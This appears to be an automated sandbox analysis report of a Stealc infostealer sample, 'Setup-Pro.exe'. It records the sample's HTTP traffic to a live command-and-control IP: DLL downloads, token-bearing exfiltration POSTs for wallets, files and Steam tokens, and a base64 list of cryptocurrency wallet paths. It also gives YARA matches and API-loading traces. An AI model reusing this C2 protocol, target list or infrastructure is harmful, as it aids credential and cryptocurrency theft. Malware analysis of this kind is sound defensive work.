20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 11, 2024 22:32:40.263899088 CEST	93	OUT	GET /55145c8889ec57f2/softokn3.dll HTTP/1.1 Host: 45.66.249.162 Cache-Control: no-cache
Oct 11, 2024 22:32:40.731163025 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:40 GMT Content-Type: application/x-msdos-program Content-Length: 257872 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 08:49:08 GMT ETag: "3ef50-5e7ea271b0900" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 11, 2024 22:32:41.673698902 CEST	97	OUT	GET /55145c8889ec57f2/vcruntime140.dll HTTP/1.1 Host: 45.66.249.162 Cache-Control: no-cache
Oct 11, 2024 22:32:42.144072056 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:42 GMT Content-Type: application/x-msdos-program Content-Length: 80880 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 08:49:08 GMT ETag: "13bf0-5e7ea271b0900" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 11, 2024 22:32:43.149009943 CEST	201	OUT	POST /9e6547173a597645.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJ Host: 45.66.249.162 Content-Length: 1003 Connection: Keep-Alive Cache-Control: no-cache
Oct 11, 2024 22:32:43.921972990 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 11, 2024 22:32:43.922738075 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 11, 2024 22:32:43.994920015 CEST	467	OUT	POST /9e6547173a597645.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHI Host: 45.66.249.162 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 37 62 35 30 39 33 37 30 65 63 61 32 34 35 63 31 31 63 63 31 63 38 36 33 38 31 61 63 38 35 36 34 63 61 61 33 37 30 33 66 62 31 32 38 64 39 33 65 35 64 65 64 63 36 33 66 35 61 35 63 39 37 38 39 35 37 30 63 33 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="token"ec7b509370eca245c11cc1c86381ac8564caa3703fb128d93e5dedc63f5a5c9789570c33------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="message"wallets------BGIJDGCAEBFIIECAKFHI--
Oct 11, 2024 22:32:44.490479946 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2408 Connection: keep-alive Vary: Accept-Encoding Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8XE11 [TRUNCATED]
Oct 11, 2024 22:32:44.492645025 CEST	465	OUT	POST /9e6547173a597645.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCB Host: 45.66.249.162 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 37 62 35 30 39 33 37 30 65 63 61 32 34 35 63 31 31 63 63 31 63 38 36 33 38 31 61 63 38 35 36 34 63 61 61 33 37 30 33 66 62 31 32 38 64 39 33 65 35 64 65 64 63 36 33 66 35 61 35 63 39 37 38 39 35 37 30 63 33 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 2d 2d 0d 0a Data Ascii: ------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="token"ec7b509370eca245c11cc1c86381ac8564caa3703fb128d93e5dedc63f5a5c9789570c33------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="message"files------IDHDGDHJEGHIDGDHCGCB--
Oct 11, 2024 22:32:44.970860004 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 11, 2024 22:32:44.985265970 CEST	563	OUT	POST /9e6547173a597645.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJECAEHJJJKJKFIDGCB Host: 45.66.249.162 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 37 62 35 30 39 33 37 30 65 63 61 32 34 35 63 31 31 63 63 31 63 38 36 33 38 31 61 63 38 35 36 34 63 61 61 33 37 30 33 66 62 31 32 38 64 39 33 65 35 64 65 64 63 36 33 66 35 61 35 63 39 37 38 39 35 37 30 63 33 33 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="token"ec7b509370eca245c11cc1c86381ac8564caa3703fb128d93e5dedc63f5a5c9789570c33------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="file"------FIJECAEHJJJKJKFIDGCB--
Oct 11, 2024 22:32:45.469770908 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 11, 2024 22:32:45.674274921 CEST	203	OUT	POST /9e6547173a597645.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGCFCBAKKFBFIECAEBA Host: 45.66.249.162 Content-Length: 114483 Connection: Keep-Alive Cache-Control: no-cache
Oct 11, 2024 22:32:46.799345016 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 11, 2024 22:32:46.842623949 CEST	472	OUT	POST /9e6547173a597645.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGC Host: 45.66.249.162 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 37 62 35 30 39 33 37 30 65 63 61 32 34 35 63 31 31 63 63 31 63 38 36 33 38 31 61 63 38 35 36 34 63 61 61 33 37 30 33 66 62 31 32 38 64 39 33 65 35 64 65 64 63 36 33 66 35 61 35 63 39 37 38 39 35 37 30 63 33 33 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 2d 2d 0d 0a Data Ascii: ------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="token"ec7b509370eca245c11cc1c86381ac8564caa3703fb128d93e5dedc63f5a5c9789570c33------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="message"ybncbhylepme------HIDHDGDHJEGHIDGDHCGC--
Oct 11, 2024 22:32:47.341236115 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 11, 2024 22:32:47.342283964 CEST	472	OUT	POST /9e6547173a597645.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEB Host: 45.66.249.162 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 37 62 35 30 39 33 37 30 65 63 61 32 34 35 63 31 31 63 63 31 63 38 36 33 38 31 61 63 38 35 36 34 63 61 61 33 37 30 33 66 62 31 32 38 64 39 33 65 35 64 65 64 63 36 33 66 35 61 35 63 39 37 38 39 35 37 30 63 33 33 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 2d 2d 0d 0a Data Ascii: ------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="token"ec7b509370eca245c11cc1c86381ac8564caa3703fb128d93e5dedc63f5a5c9789570c33------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AAEHIDAKECFIEBGDHJEB--
Oct 11, 2024 22:32:47.813687086 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Target ID:	0
Start time:	16:32:02
Start date:	11/10/2024
Path:	C:\Users\user\Desktop\Setup-Pro.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Setup-Pro.exe"
Imagebase:	0xb50000
File size:	24'551'424 bytes
MD5 hash:	172CDB7DBA672C53F3FAE91AD779C940
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.1586077537.0000000002900000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1585102260.0000000002600000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000003.1507758122.0000000002900000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1507758122.00000000029D4000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000003.1507758122.00000000029D4000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1585102260.00000000027F6000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1585102260.00000000027A8000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1586077537.00000000029D4000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.1586077537.00000000029D4000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:32:13
Start date:	11/10/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:	0x4a0000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.1837091006.0000000003547000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 03019C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75550000,0354EE40), ref: 03019C2D
GetProcAddress.KERNEL32(75550000,0354EB80), ref: 03019C45
GetProcAddress.KERNEL32(75550000,0354AC28), ref: 03019C5E
GetProcAddress.KERNEL32(75550000,0354AB50), ref: 03019C76
GetProcAddress.KERNEL32(75550000,0354AC70), ref: 03019C8E
GetProcAddress.KERNEL32(75550000,0354ADC0), ref: 03019CA7
GetProcAddress.KERNEL32(75550000,03550490), ref: 03019CBF
GetProcAddress.KERNEL32(75550000,0354ADD8), ref: 03019CD7
GetProcAddress.KERNEL32(75550000,0354AD78), ref: 03019CF0
GetProcAddress.KERNEL32(75550000,0354ACD0), ref: 03019D08
GetProcAddress.KERNEL32(75550000,0354AD90), ref: 03019D20
GetProcAddress.KERNEL32(75550000,0354EE00), ref: 03019D39
GetProcAddress.KERNEL32(75550000,0354EE20), ref: 03019D51
GetProcAddress.KERNEL32(75550000,0354ECC0), ref: 03019D69
GetProcAddress.KERNEL32(75550000,0354EBA0), ref: 03019D82
GetProcAddress.KERNEL32(75550000,0354ACB8), ref: 03019D9A
GetProcAddress.KERNEL32(75550000,0354AD60), ref: 03019DB2
GetProcAddress.KERNEL32(75550000,03550558), ref: 03019DCB
GetProcAddress.KERNEL32(75550000,0354EEA0), ref: 03019DE3
GetProcAddress.KERNEL32(75550000,0354ADF0), ref: 03019DFB
GetProcAddress.KERNEL32(75550000,0354AE08), ref: 03019E14
GetProcAddress.KERNEL32(75550000,0354AE38), ref: 03019E2C
GetProcAddress.KERNEL32(75550000,0354AE50), ref: 03019E44
GetProcAddress.KERNEL32(75550000,0354EE60), ref: 03019E5D
GetProcAddress.KERNEL32(75550000,0354AE20), ref: 03019E75
GetProcAddress.KERNEL32(75550000,0354AE80), ref: 03019E8D
GetProcAddress.KERNEL32(75550000,0354AEE0), ref: 03019EA6
GetProcAddress.KERNEL32(75550000,0354AE68), ref: 03019EBE
GetProcAddress.KERNEL32(75550000,0354AE98), ref: 03019ED6
GetProcAddress.KERNEL32(75550000,0354AEB0), ref: 03019EEF
GetProcAddress.KERNEL32(75550000,0354AEC8), ref: 03019F07
GetProcAddress.KERNEL32(75550000,035551C8), ref: 03019F1F
GetProcAddress.KERNEL32(75550000,03555030), ref: 03019F38
GetProcAddress.KERNEL32(75550000,035493A0), ref: 03019F50
GetProcAddress.KERNEL32(75550000,03555060), ref: 03019F68
GetProcAddress.KERNEL32(75550000,035550C0), ref: 03019F81
GetProcAddress.KERNEL32(75550000,0354EF20), ref: 03019F99
GetProcAddress.KERNEL32(75550000,035551E0), ref: 03019FB1
GetProcAddress.KERNEL32(75550000,0354ED60), ref: 03019FCA
GetProcAddress.KERNEL32(75550000,035550A8), ref: 03019FE2
GetProcAddress.KERNEL32(75550000,03555108), ref: 03019FFA
GetProcAddress.KERNEL32(75550000,0354EEC0), ref: 0301A013
GetProcAddress.KERNEL32(75550000,0354EDC0), ref: 0301A02B
LoadLibraryA.KERNEL32(035551F8,?,03015CA3,?,00000034,00000064,03016600,?,0000002C,00000064,030165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0301A03D
LoadLibraryA.KERNEL32(03555090,?,03015CA3,?,00000034,00000064,03016600,?,0000002C,00000064,030165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0301A04E
LoadLibraryA.KERNEL32(035552D0,?,03015CA3,?,00000034,00000064,03016600,?,0000002C,00000064,030165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0301A060
LoadLibraryA.KERNEL32(03555180,?,03015CA3,?,00000034,00000064,03016600,?,0000002C,00000064,030165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0301A072
LoadLibraryA.KERNEL32(03555048,?,03015CA3,?,00000034,00000064,03016600,?,0000002C,00000064,030165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0301A083
LoadLibraryA.KERNEL32(03554FE8,?,03015CA3,?,00000034,00000064,03016600,?,0000002C,00000064,030165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0301A095
LoadLibraryA.KERNEL32(03555000,?,03015CA3,?,00000034,00000064,03016600,?,0000002C,00000064,030165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0301A0A7
LoadLibraryA.KERNEL32(03555078,?,03015CA3,?,00000034,00000064,03016600,?,0000002C,00000064,030165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0301A0B8
GetProcAddress.KERNEL32(75750000,0354EEE0), ref: 0301A0DA
GetProcAddress.KERNEL32(75750000,035550D8), ref: 0301A0F2
GetProcAddress.KERNEL32(75750000,03554F40), ref: 0301A10A
GetProcAddress.KERNEL32(75750000,035550F0), ref: 0301A123
GetProcAddress.KERNEL32(75750000,0354EF00), ref: 0301A13B
GetProcAddress.KERNEL32(74010000,035504E0), ref: 0301A160
GetProcAddress.KERNEL32(74010000,0354EBC0), ref: 0301A179
GetProcAddress.KERNEL32(74010000,03550418), ref: 0301A191
GetProcAddress.KERNEL32(74010000,03555288), ref: 0301A1A9
GetProcAddress.KERNEL32(74010000,03555018), ref: 0301A1C2
GetProcAddress.KERNEL32(74010000,0354EC00), ref: 0301A1DA
GetProcAddress.KERNEL32(74010000,0354EC20), ref: 0301A1F2
GetProcAddress.KERNEL32(74010000,03555120), ref: 0301A20B
GetProcAddress.KERNEL32(757E0000,0354EC40), ref: 0301A22C
GetProcAddress.KERNEL32(757E0000,0354EC60), ref: 0301A244
GetProcAddress.KERNEL32(757E0000,03555138), ref: 0301A25D
GetProcAddress.KERNEL32(757E0000,03555210), ref: 0301A275
GetProcAddress.KERNEL32(757E0000,0354EC80), ref: 0301A28D
GetProcAddress.KERNEL32(758D0000,03550440), ref: 0301A2B3
GetProcAddress.KERNEL32(758D0000,03550580), ref: 0301A2CB
